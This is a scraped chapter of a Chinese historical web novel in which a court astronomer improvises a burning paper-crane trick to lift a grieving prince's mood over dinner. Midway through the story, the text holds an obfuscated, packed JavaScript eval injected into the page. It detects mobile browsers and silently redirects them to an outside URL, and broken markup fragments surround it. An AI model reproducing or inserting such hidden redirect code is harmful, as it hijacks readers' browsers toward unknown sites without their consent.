默认冷灰
24号文字
方正启体

24. 纸鹤借风

作者:椅而参本书字数:K更新时间:
    邬行香忆起李嗣瞻的不寻常,方悟缘由在此。


    惠妃拼死诞下皇子,却因司天监所言,身后之名被毁,族人也难以幸免。


    李嗣瞻出生丧母,本就可怜,更是因此被幽禁多年。


    也难怪李嗣瞻如此恨司天监。


    适才自己这个司天监女官,还在李嗣瞻面前走来走去……


    她不由背后发冷。


    还好李嗣瞻并未怪责。


    虎小忠连连叹气后道:“也不知道殿下现在心情怎么样了?


    殿下怕是独自伤感了许久。


    我若去安慰他,好像也不妥。


    姐姐,你下楼前,殿下脸色如何?”


    邬行香回想了一番,答道:“屋内昏暗,我看不清殿下的神情。”


    虎小忠闻言,转瞬萎靡不振。


    邬行香续言道:“但听殿下的声音,应是心绪稍缓。”


    虎小忠在原地正着反着团团转,直到把邬行香转晕了,他才开口道:


    “那我们吃饭的时候,定要察言观色,细心顾虑。”


    邬行香颔首道:“你放心。”


    两人各自忧思重重,又聊了一阵,直到店小二寻来,说晚饭已准备妥当,这才一同折返至客房。


    虎小忠去找李嗣瞻,邬行香独自如坐针毡,索性站了起来。


    饭桌上,白瓷大碗中装着豆花泡馍,馍块浸在豆香四溢的汤汁。


    油花漂浮在上,红得透亮。


    青花瓷碗中,是臊子面。精瘦肉切成小丁经由热油爆炒,金黄焦香。


    擀面皮堆在盘中,配上黄瓜丝与胡萝卜丝,勾人馋意。


    再看虎小忠买回来的腊驴肉。


    俗话说天上龙肉,地上驴肉。


    这盘腊驴肉,切得甚薄,色泽鲜红,肉香扑鼻。


    驴肉补气血、益脏腑,加上她的确需要补一补。


    美酒已被撤下。


    虎小忠说怕李嗣瞻伤心贪杯,喝酒伤身。


    邬行香思虑间,“吱呀”一声,门被推开。


    李嗣瞻与虎小忠走了进来。


    李嗣瞻面色沉静,看不出悲喜。


    倒是李嗣瞻身后的虎小忠,不停向邬行香使眼色。


    邬行香站在原地茫然,眨着眼睛,试图问清虎小忠想说什么。


    虎小忠见她不明白自己的意思,比划起了手势。


    邬行香更为不解,试着重复虎小忠的手势,来弄清他的意思。


    李嗣瞻看不到身后的虎小忠,只见着邬行香的眼睛和手仿佛出了毛病般,不停动。


    “你到底是眼睛出了问题?还是手出了问题?


    又或者,你这个人本身就有很大问题?”


    邬行香有口难开,求助地望向虎小忠。


    虎小忠一边使眼色,一边做手势。


    可惜邬行香还是看不懂他的意思。


    李嗣瞻静思少顷,欲解其意。


    回想邬行香之前的行为,一番斟酌后,他遂得论断。


    “你难道,又准备了什么小把戏要给我看?”


    邬行香闻言一愣。


    李嗣瞻这是误以为,自己再度想用小把戏来安慰他吗?


    可是她并未准备,也并无此意。


    邬行香急忙向虎小忠使眼色。


    小忠,救我!


    虎小忠看到邬行香的眼色,恍然大悟。


    小声自语道:“原来姐姐不是看不懂我的手势。


    她是想告诉我,她准备了饭前戏乐,来为殿下解忧。”


    虎小忠感慨之后,自愧不如,只能大声道:


    “姐姐,你真是用心良苦。日后我定要以你为榜样,多多研习,望能习得这般巧思。”


    邬行香后悔不已,她为什么要站起来,为什么要回应虎小忠的眼色手势?


    早知如此,不如坐着等开饭。


    就连李嗣瞻,此刻也显露出期待神情。


    着实罕见。


    邬行香心兮煎熬,进退无路,只好硬着头皮说:


    “那我出去准备一下。”


    邬行香下到厅堂,又走到了客栈门口,仍然毫无头绪。


    她抬头望夜空,却见风压酒旗偏。


    须臾之间,一计浮现。


    是时风向,于虎小忠客房窗处,恰能及之。


    观此酒旗飘摇之状,其摆幅渐增,料不多时,风速将愈劲。


    邬行香找到店小二问道:“小二哥,不知这客栈可有硝石粉?我有些头疼。”


    店小二笑道:“有的,常用的药物,客栈都备有,我这就给姑娘拿去。”


    邬行香叫住了店小二,“那客栈中可有宣纸?”


    店小二摇头道:“没有。”


    邬行香有些为难。


    若是此刻出门寻觅宣纸,恐耗时过久。


    店小二继续道:“不过,不过正巧有位书生入住。


    姑娘若急用,我可以替你问问。”


    邬行香她自袖中掏出铜钱,递与店小二道:


    “劳烦小哥,代我向那书生买一张宣纸,多余的钱,就当是谢你跑腿。


    烦请快些,我有急用。”


    店小二笑着收下铜钱,为邬行香取来了硝石粉和宣纸。


    邬行香拿着东西上楼。


    在进门前,她将硝石粉小心翼翼地涂抹在纸上。


    一切就绪后,她推门而入。


    邬行香并未作任何解说,径直走到镜台。


    若其道出详情,那便少了几分期待。


    何况只要不点明,就算搞砸了,她也能东拉西扯,把场面圆回来。


    虎小忠见邬行香这般行事,只觉神秘莫测,让他对接下来将发生的事,期待不已。


    邬行香将宣纸平铺在镜台面上,上下左右对折后,再对角折叠,合拢翻折数次,折好了两只纸鹤。


    她在折纸时,不断靠近镜台上的蜡烛。


    待纸鹤成形,邬行香轻捻纸鹤,看似在为纸鹤塑形,使其栩栩如生。


    实则是在借机用蜡烛烤纸张。


    她以指反复轻触纸鹤,验其热度,应再有片刻,硝石粉就能自燃。


    期间,虎小忠一直在李嗣瞻身旁小声低语着:


    “殿下,你说姐姐到底要做什么?”


    “我都快等不及了。”


    “会不会是司天监的独门秘术?”


    邬行香听不太清虎小忠的话,她手持纸鹤,缓缓走到窗口。


    找准时机,对着风向,轻轻抛出纸鹤。


    纸鹤借风,轻盈飘动,越飞越高。


    为增氛围,邬行香更是口中念念有词:


    “白鹤飞来下九天,嘹唳仙鸣绕祥烟。”


    陡然间,两只纸鹤毫无征兆地燃起火焰。


    风抚鹤翼,火光映照纸鹤周身,似星芒坠落,携鹤赴仙途。


    虎小忠看到这一幕,连忙拍手叫好。


    “这实在太神奇了!真像是云鹤游天!”


    待纸鹤燃尽,邬行香回到饭桌前。


    虎小忠还在回味中,“姐姐,你这一招太精彩了。


    快告诉我,你是怎么做到的?”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819464|158138||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    邬行香只是笑道:“小小戏法,权当饭前消遣,你们看得欢喜便好。”


    虎小忠继续夸道:“简直像是仙人所传,神乎其技!你说是吧,殿下。”


    闻此语,邬行香眼眸转而凝睇李嗣瞻。


    李嗣瞻一言不发。


    邬行香实在难辨其心思。


    莫不是李嗣瞻不喜欢她方才的戏法?


    抑或暗藏嗔怒,只待发作?


    也是,李嗣瞻一直说她像个江湖术士,她此举不是坐实了这话吗?


    大意了,下次小心。


    不过还好,李嗣瞻最多口头责备几句。


    她已习以为常。


    李嗣瞻神情淡漠,仿佛将邬行香的言行拒于千里之外。


    然而,在邬行香的目光下,须臾后,李嗣瞻神色微变,眉梢眼角,隐有几分挣扎之意。


    他终是难抑,嘴角上扬,笑了起来。


    素日万顷波平天四面,天忽作晴,涨微澜,不可胜赞。


    邬行香初次见李嗣瞻这般神情外露,双目圆睁。


    随而心中感慨:


    果然以她之才能,在何时何地何事上,都能发光发热。


    不愧是她!


    虎小忠见李嗣瞻展颜而笑,亦觉心安。


    想来李嗣瞻已暂搁心中所忧。


    李嗣瞻笑了半晌,方才停下。


    他旋即复敛容而言:


    “以后要是我们三个落魄了,你可以去卖艺赚钱。


    不过,其行荒谬,其心可嘉。


    舟车劳顿,以后不必费心准备这些。


    快坐下吃饭吧。”


    邬行香心里苦。


    她本来就没准备这些。


    她只好化悲戚为食量,埋首吃饭。


    进食之间,李嗣瞻主动谈及张阿婆过世之事。


    “还好来得及见张阿婆最后一面。


    或许真如她所说,诸事皆毕,安然辞世。”


    虎小忠见状,也提起邬行香与他同往张阿婆家之事,以及两人所谈。


    他话未说完,又怪自己多嘴,怕引起李嗣瞻再想起伤心事。


    李嗣瞻仿若无事之人般说道:


    “本朝之前,厚葬与薄葬之争,历久未息。


    主厚葬者,望遵礼崇俗,然此举却便宜了盗墓之徒。


    倡薄葬者,以为变俗顺时,却难获世人之重视,其儿孙亦常被视作不孝。


    前朝时,有位帝王为避免自己的陵墓,在多年后遭人盗掘,率先垂范,行薄葬之举。


    大臣们见状,纷纷效仿,一时之间,蔚然成风。


    本朝厚葬之风,可溯至太祖皇帝龙驭上宾之际。


    彼时,太祖皇帝大行,太宗皇帝哀恸之余,诏命太祖山陵,务使规制崇厚,以彰尊崇之礼。


    但当时的秘书监呈了一份奏折,说是‘高坟厚垅,非能表孝也。安于俭薄,方为长久之计。’


    太宗皇帝读完奏折后,令诸臣共议此事。


    中书令权衡利弊,折中数说,略作减省,终以厚葬作结。


    自此之后,上行下效,厚葬之风盛行。”


    邬行香听后,知晓此事不便深论,仓促闲聊数句,食毕待离去。


    李嗣瞻已走出门外,邬行香跟在其后,到了自己的客房外准备进去。


    却见李嗣瞻转身道:


    “等一等。”


    邬行香侧头望去。


    李嗣瞻浅笑道:“回房后,切切牢记,先将双手悉心洗净,再抖落拍打衣物,直至硝石粉的粉末全无,方为妥当。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)